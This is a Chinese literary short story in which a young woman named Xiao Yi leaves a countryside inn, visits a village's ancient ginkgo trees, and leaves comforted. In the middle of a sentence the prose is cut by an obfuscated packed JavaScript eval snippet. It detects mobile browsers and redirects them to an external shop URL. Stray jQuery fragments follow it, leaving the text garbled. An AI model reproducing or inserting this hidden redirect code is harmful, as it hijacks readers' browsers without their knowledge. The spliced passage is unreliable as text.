肖怡翻了个身，把脸埋进枕头里。
枕头上还残留着昨晚温泉水的味道，淡淡的硫磺气，混着棉布被太阳晒过的干燥。她深深地吸了一口，又缓缓吐出来。
然后她起床了。
下楼时，院子里已经有人。一位老人在打太极，动作慢得像荡开的水纹。老板娘在浇花，看见她，轻轻点头：“早餐在厨房，自己盛。”
“谢谢。”
厨房很小，灶台上搁着一口砂锅，盖子掀开一条缝，白粥的香气从缝里钻出来。她盛了一碗，坐在院子里的竹椅上。粥很烫，她小口小口地喝，咸菜是切好的萝卜干，脆生生的，咬下去咯吱作响。
老板娘从屋里出来，手里拿着一把剪刀，开始修剪花枝。她看了肖怡一眼，随口问：“今天什么安排？”
“我准备走了。”肖怡竟有些不舍，“我只是路过。”
“那你要到什么地方去？”
肖怡没有回答。她也不知道自己要往哪里去，只是想走得再远一点，仅此而已。
老板娘似乎看出了她的犹豫：“既然还没有想好目的地，时间不紧张的话，可以去南惹转转。”
“那是什么地方？”
“一个村子，有两棵银杏树，一千五百年了。”
一千五百年——这个数字她有些眼熟。她打开手机，翻到那个博主的页面，往下划了几下，果然找到了。照片里的银杏树还没长叶，枝丫光秃秃地伸向天空，像一幅炭笔画。
她把手机收起来。“好，我去看看。”
老板娘点点头，继续剪花，没再多说什么。
车子沿着山路往里开，路越来越窄，两旁的树越来越密。开到没有柏油路的地方，她找了块空地停下车，开始步行。
村子比她想得更小，也更安静。
十几户人家依着山势散落，黄墙黛瓦，掩在竹林深处。一条小溪从山上流下来，穿过村子，水声淙淙，清得能看见水底的石头。她沿着溪边石阶往上走，走到溪流转弯处，有一块被太阳晒得温热的大石头。她坐下，把手伸进水里。水凉凉的，从指缝间淌过，带走了一些她说不清楚的烦闷。
她忽然想起很多年前，还在读书的时候，暑假去乡下外婆家住。外婆家门前也有一条小溪，比这条宽，水也更深。她蹲在溪边抓小鱼，一玩就是一下午。外婆从来不催她，只在饭点时站在门口喊一声：“吃饭了——”
眼眶忽然有点发热。好像太久没有想起这些事了。其实并非没有人疼爱过。
她把手从水里抽出来，甩了甩，继续往前走。
拐过一个弯，就看见了那两棵银杏。
它们比照片里看上去更加庞大。大到她站在树下，仰起头，只看见铺天盖地的绿。树干粗得几个人都合抱不过来，树冠撑开，像一把巨伞，把半个村子都罩在荫凉里。阳光从叶缝漏下，在石板地上投下明明暗暗的光斑。枝芽上系着许多祈福的红丝带，人们把愿望写在上面，系在树上，以为这样就能被记住。可这棵树活了一千五百年，它见过多少愿望？多少实现了，多少被遗忘，又有多少，连系上去的人自己都不再记得。
一千五百年。她想，这棵树发芽的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833264|205375||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时候，还是南北朝。它见过穿长衫的古人，见过扛枪的兵，见过穿喇叭裤的年轻人，也见过她——一个从江市逃出来、不知道该往哪里去的女孩。
什么人它都见过，什么风浪它都经历过。
可它只是站在那里，春天发芽，秋天落叶，一年又一年。
她忽然想起那个博主写的话：“它在风中沉默，力量足以承载心底所有的不安。”
此刻，她好像终于听懂了一点。
肖怡在树下的石凳上坐下，石凳被太阳晒得温热，暖意从臀部一直漫到后背。她侧过脸，望向古村的方向。脚下的青石板路被岁月磨得温润，顺势延伸向村落深处。她从背包里拿出了小画本和一包彩铅，想把眼前的安宁留在笔下。山风从谷里吹来，穿过竹叶，沙沙作响。那声音很干净，没有电子杂音，没有人声嘈杂，只有风、水和树叶。
她不知道自己坐了多久。太阳从树冠东边移到西边，她低头看着光斑在画上晃动。她缓缓站起身，走到树前，伸出手，轻轻抱了抱它。
粗糙皲裂的树皮贴着皮肤，仿佛有微弱的能量在传递，连同山上的灵气、山下的溪水，还有村子里千百年的烟火气，一同拥进怀里。那些积攒的失望、委屈，忽然变得像一片飞舞的叶子，很轻，很轻。
她转身，沿着石板路往回走。
中午时分，她重新驶上了昨日的高速。宜春这短暂的停留，是一场没有预设的意外，而她带走了一身暖意，一股重新撑起来的力气，还有被时光慢慢缝合的伤口。
没人知道她将会去哪里，包括她自己。